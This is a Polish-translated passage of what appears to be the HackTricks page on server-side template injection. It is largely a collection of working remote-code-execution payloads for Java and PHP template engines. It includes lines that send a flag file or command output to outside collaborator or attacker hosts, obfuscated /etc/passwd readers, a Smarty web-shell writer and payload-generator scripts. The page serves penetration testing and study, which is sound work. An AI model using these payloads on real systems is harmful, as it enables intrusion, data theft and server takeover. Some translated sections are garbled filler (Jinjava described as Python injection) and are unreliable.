.. | ||
el-expression-language.md | ||
jinja2-ssti.md | ||
README.md |
SSTI (Server Side Template Injection)
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź SUBSCRIPTION PLANS!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud github repos.
RootedCON to najważniejsze wydarzenie związane z cyberbezpieczeństwem w Hiszpanii i jedno z najważniejszych w Europie. Mając misję promowania wiedzy technicznej, ten kongres jest gorącym punktem spotkań dla profesjonalistów technologii i cyberbezpieczeństwa we wszystkich dziedzinach.
{% embed url="https://www.rootedcon.com/" %}
Czym jest SSTI (Server-Side Template Injection)
Server-side template injection to podatność, która występuje, gdy atakujący może wstrzyknąć złośliwy kod do szablonu, który jest wykonywany po stronie serwera. Ta podatność może występować w różnych technologiach, w tym w Jinja.
Jinja to popularny silnik szablonów używany w aplikacjach internetowych. Przyjrzyjmy się przykładowemu kodowi demonstrującemu podatny fragment kodu z użyciem Jinja:
output = template.render(name=request.args.get('name'))
W tym podatnym kodzie, parametr name
z żądania użytkownika jest bezpośrednio przekazywany do szablonu za pomocą funkcji render
. Może to potencjalnie umożliwić atakującemu wstrzyknięcie złośliwego kodu do parametru name
, co prowadzi do wstrzyknięcia szablonu po stronie serwera.
Na przykład, atakujący mógłby stworzyć żądanie z takim ładunkiem:
http://vulnerable-website.com/?name={{bad-stuff-here}}
Payload {{zły-kod-tutaj}}
jest wstrzykiwany do parametru name
. Ten payload może zawierać dyrektywy szablonu Jinja, które umożliwiają atakującemu wykonanie nieautoryzowanego kodu lub manipulację silnikiem szablonów, co potencjalnie daje mu kontrolę nad serwerem.
Aby zapobiec podatnościom na wstrzykiwanie szablonów po stronie serwera, programiści powinni upewnić się, że dane wprowadzane przez użytkownika są odpowiednio oczyszczone i zweryfikowane przed wstawieniem ich do szablonów. Wdrożenie walidacji danych wejściowych i użycie technik unikania kontekstu może pomóc w ograniczeniu ryzyka związanego z tą podatnością.
Wykrywanie
Aby wykryć wstrzykiwanie szablonów po stronie serwera (SSTI), początkowo fuzzowanie szablonu jest prostym podejściem. Polega to na wstrzyknięciu sekwencji specjalnych znaków (${{<%[%'"}}%\
) do szablonu i analizowaniu różnic w odpowiedzi serwera na zwykłe dane w porównaniu do tego specjalnego payloadu. Wskaźnikami podatności są:
-
Wyrzucane błędy, ujawniające podatność i potencjalnie silnik szablonów.
-
Brak payloadu w odbiciu lub brak niektórych jego części, co sugeruje, że serwer przetwarza go inaczej niż zwykłe dane.
-
Kontekst tekstu: Odróżnienie od XSS przez sprawdzenie, czy serwer ocenia wyrażenia szablonu (np.
{{7*7}}
,${7*7}
). -
Kontekst kodu: Potwierdzenie podatności poprzez zmianę parametrów wejściowych. Na przykład zmiana
greeting
whttp://vulnerable-website.com/?greeting=data.username
, aby sprawdzić, czy wynik serwera jest dynamiczny czy stały, jak w przypadkugreeting=data.username}}hello
, zwracający nazwę użytkownika.
Faza identyfikacji
Identyfikacja silnika szablonów polega na analizie komunikatów o błędach lub ręcznym testowaniu różnych payloadów specyficznych dla języka. Wspólne payloady powodujące błędy to ${7/0}
, {{7/0}}
i <%= 7/0 %>
. Obserwowanie odpowiedzi serwera na operacje matematyczne pomaga zlokalizować konkretny silnik szablonów.
Narzędzia
TInjA
skaner SSTI + CSTI, który wykorzystuje nowatorskie poligloty
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
SSTImap
SSTImap jest narzędziem do automatycznego wykrywania i eksploatacji podatności Server-Side Template Injection (SSTI) w aplikacjach internetowych. Narzędzie to zostało opracowane w celu ułatwienia testowania penetracyjnego i identyfikacji luk w zabezpieczeniach aplikacji.
Wprowadzenie
Server-Side Template Injection (SSTI) to podatność, która występuje, gdy aplikacja internetowa umożliwia wstrzykiwanie kodu szablonu po stronie serwera. W przypadku wystąpienia tej podatności, atakujący może wykorzystać ją do wykonania dowolnego kodu na serwerze, co może prowadzić do naruszenia poufności danych, utraty integralności systemu lub innych poważnych konsekwencji.
Wykorzystanie
SSTImap automatycznie wykrywa podatności SSTI w aplikacjach internetowych, przeprowadzając testy wstrzykiwania kodu szablonu na różnych parametrach żądania. Narzędzie to obsługuje wiele popularnych języków szablonów, takich jak Jinja2, Twig, Smarty, Freemarker i inne.
Aby rozpocząć skanowanie, wystarczy podać adres URL aplikacji docelowej. SSTImap automatycznie przeprowadzi testy na wszystkich dostępnych parametrach żądania, aby zidentyfikować potencjalne podatności SSTI.
Instalacja
Aby zainstalować SSTImap, wykonaj następujące kroki:
- Sklonuj repozytorium SSTImap z https://github.com/vladko312/sstimap.
- Przejdź do katalogu SSTImap.
- Zainstaluj wymagane zależności, wykonując polecenie
pip install -r requirements.txt
.
Użycie
Aby uruchomić SSTImap, wykonaj następujące kroki:
- Przejdź do katalogu SSTImap.
- Uruchom narzędzie, wykonując polecenie
python sstimap.py -u <adres_URL_aplikacji>
.
Po zakończeniu skanowania, SSTImap wygeneruje raport zawierający informacje o znalezionych podatnościach SSTI.
Podsumowanie
SSTImap jest przydatnym narzędziem do automatycznego wykrywania i eksploatacji podatności SSTI w aplikacjach internetowych. Dzięki temu narzędziu można szybko zidentyfikować potencjalne luki w zabezpieczeniach i podjąć odpowiednie działania w celu ich naprawy.
python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/ --crawl 5 --forms
python3 sstimap.py -u 'https://example.com/page?name=John' -s
Tplmap
Tplmap to skrypt Pythona służący do automatycznego wykrywania i eksploatacji podatności Server-Side Template Injection (SSTI). Skrypt ten może być używany do testowania aplikacji internetowych pod kątem potencjalnych luk w zabezpieczeniach SSTI.
python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade
Tabela wstrzykiwania szablonów
interaktywna tabela zawierająca najbardziej wydajne poligloty wstrzykiwania szablonów wraz z oczekiwanymi odpowiedziami 44 najważniejszych silników szablonów.
Exploits
Ogólne
W tej liście słów można znaleźć zmienne zdefiniowane w środowiskach niektórych z poniższych silników:
- https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt
- https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt
Java
Java - Podstawowe wstrzykiwanie
${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.
Java - Pobierz zmienne środowiskowe systemu
Aby pobrać zmienne środowiskowe systemu w języku Java, możemy skorzystać z klasy System
i jej metody getenv()
. Metoda ta zwraca mapę, która zawiera wszystkie zmienne środowiskowe systemu wraz z ich wartościami.
Oto przykładowy kod, który pokazuje, jak pobrać zmienne środowiskowe systemu:
import java.util.Map;
public class EnvironmentVariables {
public static void main(String[] args) {
Map<String, String> env = System.getenv();
for (String key : env.keySet()) {
String value = env.get(key);
System.out.println(key + " = " + value);
}
}
}
Ten kod iteruje przez wszystkie zmienne środowiskowe systemu i wyświetla ich nazwy oraz wartości na konsoli. Możemy go dostosować, aby wykonał inne operacje na zmiennych środowiskowych w zależności od naszych potrzeb.
${T(java.lang.System).getenv()}
Java - Pobierz /etc/passwd
W przypadku ataku Server-Side Template Injection (SSTI) na aplikację napisaną w języku Java, możemy próbować odzyskać zawartość pliku /etc/passwd. Poniżej znajduje się przykładowy kod, który można wykorzystać do tego celu:
import java.io.BufferedReader;
import java.io.InputStreamReader;
public class SSTIExample {
public static void main(String[] args) {
try {
String command = "cat /etc/passwd";
Process process = Runtime.getRuntime().exec(command);
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
System.out.println(line);
}
reader.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}
Ten kod wykonuje polecenie systemowe cat /etc/passwd
i odczytuje wynik. Następnie wypisuje zawartość pliku /etc/passwd na standardowe wyjście. Pamiętaj, że ten kod jest tylko przykładem i powinien być używany wyłącznie w celach edukacyjnych lub zgodnie z prawem.
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
FreeMarker (Java)
Możesz wypróbować swoje payloady na https://try.freemarker.apache.org
{{7*7}} = {{7*7}}
${7*7} = 49
#{7*7} = 49 -- (legacy)
${7*'7'} Nic
${foobar}
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
Freemarker - Pomijanie piaskownicy
⚠️ działa tylko w wersjach Freemarker poniżej 2.3.30
<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}
Więcej informacji
- W sekcji FreeMarker na stronie https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker
Velocity (Java)
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
Więcej informacji
- W sekcji Velocity na stronie https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity
Thymeleaf
W Thymeleaf, powszechnym testem podatności na SSTI jest wyrażenie ${7*7}
, które również dotyczy tego silnika szablonów. Aby potencjalnie wykonać zdalny kod, można użyć wyrażeń takich jak:
- SpringEL:
${T(java.lang.Runtime).getRuntime().exec('calc')}
- OGNL:
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
Thymeleaf wymaga, aby te wyrażenia były umieszczone w określonych atrybutach. Jednak wstawianie wyrażeń jest obsługiwane dla innych lokalizacji szablonów, za pomocą składni [[...]]
lub [(...)]
. W związku z tym, prosty ładunek testowy SSTI może wyglądać tak: [[${7*7}]]
.
Jednak szansa na powodzenie tego ładunku jest zazwyczaj niska. Domyślna konfiguracja Thymeleaf nie obsługuje dynamicznego generowania szablonów; szablony muszą być zdefiniowane z góry. Programiści musieliby zaimplementować własny TemplateResolver
, aby tworzyć szablony ze stringów w locie, co jest rzadkie.
Thymeleaf oferuje również preprocessing wyrażeń, gdzie wyrażenia wewnątrz podwójnych podkreślników (__...__
) są przetwarzane przed wykonaniem. Ta funkcja może być wykorzystana przy konstrukcji wyrażeń, jak pokazano w dokumentacji Thymeleaf:
#{selection.__${sel.code}__}
Przykład podatności w Thymeleaf
Rozważmy następujący fragment kodu, który może być podatny na wykorzystanie:
<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
To wskazuje, że jeśli silnik szablonów nieprawidłowo przetwarza te dane wejściowe, może to prowadzić do zdalnego wykonania kodu, uzyskując dostęp do adresów URL takich jak:
http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
Więcej informacji
{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}
Framework Spring (Java)
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
Ominięcie filtrów
Można używać wielu wyrażeń zmiennych, jeśli ${...}
nie działa, spróbuj #{...}
, *{...}
, @{...}
lub ~{...}
.
- Odczytaj
/etc/passwd
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
- Niestandardowy skrypt do generowania payloadów
import os
def generate_payload(command):
payload = f"{{{{ {command} }}}}"
return payload
if __name__ == "__main__":
command = input("Enter the command to execute: ")
payload = generate_payload(command)
print(f"Generated payload: {payload}")
Ten skrypt Pythona służy do generowania payloadów. Wprowadź polecenie, które chcesz wykonać, a skrypt wygeneruje odpowiedni payload.
#!/usr/bin/python3
## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"
from sys import argv
cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'
count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1
print(base_payload + end_payload)
Więcej informacji
Manipulacja widokiem Spring (Java)
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}
Pebble (Java)
{{ someString.toUPPERCASE() }}
Stara wersja Pebble ( < wersja 3.0.9):
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
Nowa wersja Pebble:
{% raw %}
{% set cmd = 'id' %}
{% endraw %}
{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}
Jinjava (Java)
Jinjava to silnik szablonów dla języka Java, który obsługuje wstrzykiwanie kodu po stronie serwera (Server-Side Template Injection - SSTI). Jest to popularna technika wykorzystywana przez hakerów do wykonania kodu na serwerze i uzyskania nieautoryzowanego dostępu.
Jak działa Jinjava?
Jinjava działa poprzez umożliwienie programistom tworzenia szablonów, które mogą być dynamicznie renderowane na serwerze. Jednak jeśli nie są odpowiednio zabezpieczone, szablony te mogą być podatne na wstrzykiwanie kodu. Hakerzy mogą wykorzystać tę lukę, aby wstrzyknąć złośliwy kod i wykonać go na serwerze.
Wykrywanie i wykorzystywanie SSTI w Jinjava
Aby wykryć i wykorzystać SSTI w Jinjava, hakerzy mogą przeprowadzić testy, wstrzykując kod w różne miejsca w szablonach i obserwując, czy zostaje on wykonany. Jeśli kod zostaje wykonany, oznacza to, że serwer jest podatny na SSTI.
Hakerzy mogą również wykorzystać różne techniki, takie jak wstrzykiwanie kodu Pythona, aby uzyskać dostęp do wrażliwych danych na serwerze. Przykładowe techniki obejmują wywoływanie funkcji systemowych, odczytywanie plików i wykonanie dowolnego kodu Pythona.
Zabezpieczanie się przed SSTI w Jinjava
Aby zabezpieczyć się przed SSTI w Jinjava, programiści powinni:
- Unikać bezpośredniego wstrzykiwania danych użytkownika do szablonów.
- Sprawdzać i filtrować dane wejściowe, aby upewnić się, że nie zawierają złośliwego kodu.
- Używać wbudowanych funkcji i metod do bezpiecznego przetwarzania danych w szablonach.
- Regularnie aktualizować silnik Jinjava, aby korzystać z najnowszych poprawek zabezpieczeń.
Ważne jest, aby programiści byli świadomi zagrożeń związanych z SSTI w Jinjava i podejmowali odpowiednie środki ostrożności, aby zabezpieczyć swoje aplikacje przed atakami.
{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
Jinjava to projekt open source rozwijany przez Hubspot, dostępny pod adresem https://github.com/HubSpot/jinjava/
Jinjava - Wykonanie poleceń
Naprawiono za pomocą https://github.com/HubSpot/jinjava/pull/230
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
Więcej informacji
Hubspot - HuBL (Java)
{% %}
- delimitery instrukcji{{ }}
- delimitery wyrażeń{# #}
- delimitery komentarzy{{ request }}
- com.hubspot.content.hubl.context.TemplateContextRequest@23548206{{'a'.toUpperCase()}}
- "A"{{'a'.concat('b')}}
- "ab"{{'a'.getClass()}}
- java.lang.String{{request.getClass()}}
- class com.hubspot.content.hubl.context.TemplateContextRequest{{request.getClass().getDeclaredMethods()[0]}}
- public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
Wyszukaj "com.hubspot.content.hubl.context.TemplateContextRequest" i odkryj projekt Jinjava na Githubie.
{{request.isDebug()}}
//output: False
//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4
//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797
//It was also possible to call methods on the created object by combining the
{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}
{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.
//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx
//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e
//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution
//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
Więcej informacji
Expression Language - EL (Java)
${"aaaa"}
- "aaaa"${99999+1}
- 100000.#{7*7}
- 49${{7*7}}
- 49${{request}}, ${{session}}, {{faceContext}}
Expression Language (EL) to podstawowa funkcja, która ułatwia interakcję między warstwą prezentacji (takimi jak strony internetowe) a logiką aplikacji (takimi jak zarządzane beany) w JavaEE. Jest szeroko stosowany w wielu technologiach JavaEE, aby usprawnić tę komunikację. Główne technologie JavaEE wykorzystujące EL to:
- JavaServer Faces (JSF): Wykorzystuje EL do powiązania komponentów na stronach JSF z odpowiadającymi danymi i działaniami w backendzie.
- JavaServer Pages (JSP): EL jest używany w JSP do dostępu i manipulacji danymi wewnątrz stron JSP, ułatwiając połączenie elementów strony z danymi aplikacji.
- Contexts and Dependency Injection for Java EE (CDI): EL integruje się z CDI, umożliwiając płynną interakcję między warstwą internetową a zarządzanymi beanami, zapewniając bardziej spójną strukturę aplikacji.
Sprawdź następującą stronę, aby dowiedzieć się więcej na temat wykorzystania interpreterów EL:
{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}
Groovy (Java)
Następujące obejścia Security Managera zostały zaczerpnięte z tego opisu.
//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x
//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x
//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))
RootedCON to najważniejsze wydarzenie związane z cyberbezpieczeństwem w Hiszpanii i jedno z najważniejszych w Europie. Mając na celu promowanie wiedzy technicznej, ten kongres jest gorącym punktem spotkań dla profesjonalistów technologii i cyberbezpieczeństwa we wszystkich dziedzinach.
{% embed url="https://www.rootedcon.com/" %}
Smarty (PHP)
{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3
Więcej informacji
- W sekcji Smarty na stronie https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty
Twig (PHP)
{{7*7}} = 49
${7*7} = ${7*7}
{{7*'7'}} = 49
{{1/0}} = Błąd
{{foobar}} Nic
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}
#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}
#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}
Twig - Format szablonu
Twig jest popularnym językiem szablonów używanym w wielu frameworkach internetowych, takich jak Symfony czy Laravel. Jest to język oparty na składni szablonów, który umożliwia programistom tworzenie dynamicznych stron internetowych. Twig jest bezpieczny i chroni przed atakami takimi jak Server-Side Template Injection (SSTI).
Server-Side Template Injection (SSTI) w Twig
Server-Side Template Injection (SSTI) to technika ataku, która polega na wstrzykiwaniu kodu szablonu po stronie serwera. W przypadku Twig, SSTI może wystąpić, gdy nieprawidłowo walidowane dane użytkownika są wstrzykiwane bezpośrednio do szablonu Twig. Atakujący może wykorzystać tę lukę, aby wykonać kod na serwerze i uzyskać dostęp do poufnych danych lub zdalnie kontrolować aplikację.
Przykład SSTI w Twig
Poniżej przedstawiono przykład kodu Twig, który jest podatny na SSTI:
{{ user_input }}
W powyższym przykładzie user_input
jest bezpośrednio wstrzykiwane do szablonu Twig. Jeśli atakujący dostarczy złośliwy kod jako user_input
, może to prowadzić do wykonania niebezpiecznych operacji na serwerze.
Zapobieganie SSTI w Twig
Aby zapobiec atakom SSTI w Twig, należy zawsze prawidłowo walidować i filtrować dane użytkownika przed ich wstrzykiwaniem do szablonów. Należy unikać bezpośredniego wstrzykiwania niezaufanych danych do szablonów i zawsze używać bezpiecznych metod dostarczanych przez Twig, takich jak escape
lub raw
.
Podsumowanie
Server-Side Template Injection (SSTI) to poważna luka w zabezpieczeniach, która może prowadzić do poważnych konsekwencji. W przypadku Twig, należy zawsze dbać o prawidłowe walidowanie i filtrowanie danych użytkownika, aby zapobiec atakom SSTI.
$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);
$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);
Więcej informacji
- W sekcji Twig i Twig (Sandboxed) na stronie https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig
Plates (PHP)
Plates to silnik szablonów natywny dla PHP, czerpiący inspirację z Twig. Jednak w przeciwieństwie do Twig, który wprowadza nową składnię, Plates wykorzystuje natywny kod PHP w szablonach, co czyni go intuicyjnym dla programistów PHP.
Kontroler:
// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');
// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);
Szablon strony:
<?php $this->layout('template', ['title' => 'User Profile']) ?>
<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>
Szablon układu:
<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>
Więcej informacji
PHPlib i HTML_Template_PHPLIB (PHP)
HTML_Template_PHPLIB to to samo co PHPlib, ale przeniesione do Pear.
authors.tpl
<html>
<head><title>{PAGE_TITLE}</title></head>
<body>
<table>
<caption>Authors</caption>
<thead>
<tr><th>Name</th><th>Email</th></tr>
</thead>
<tfoot>
<tr><td colspan="2">{NUM_AUTHORS}</td></tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr><td>{AUTHOR_NAME}</td><td>{AUTHOR_EMAIL}</td></tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>
Server-Side Template Injection (SSTI)
Server-Side Template Injection (SSTI) is a vulnerability that allows an attacker to inject malicious code into a server-side template, which is then executed by the server. This can lead to remote code execution (RCE) and other serious security issues.
Exploiting SSTI in authors.php
In the authors.php
file, there may be a vulnerability that allows for SSTI. By injecting malicious code into the server-side template, an attacker can execute arbitrary commands on the server.
To exploit this vulnerability, follow these steps:
-
Identify the injection point: Look for user-controlled input that is directly used in the template engine. This can include variables, function calls, or other template constructs.
-
Craft the payload: Construct a payload that will execute the desired command on the server. This can vary depending on the template engine being used.
-
Inject the payload: Submit the payload through the user-controlled input to trigger the SSTI vulnerability.
-
Verify the exploitation: Check if the injected code is executed by observing the server's response or by checking for the desired side effects.
Prevention and Mitigation
To prevent SSTI vulnerabilities, follow these best practices:
-
Input validation and sanitization: Always validate and sanitize user input before using it in a template engine. This can help prevent malicious code injection.
-
Template engine configuration: Configure the template engine to restrict access to sensitive server-side functions and variables.
-
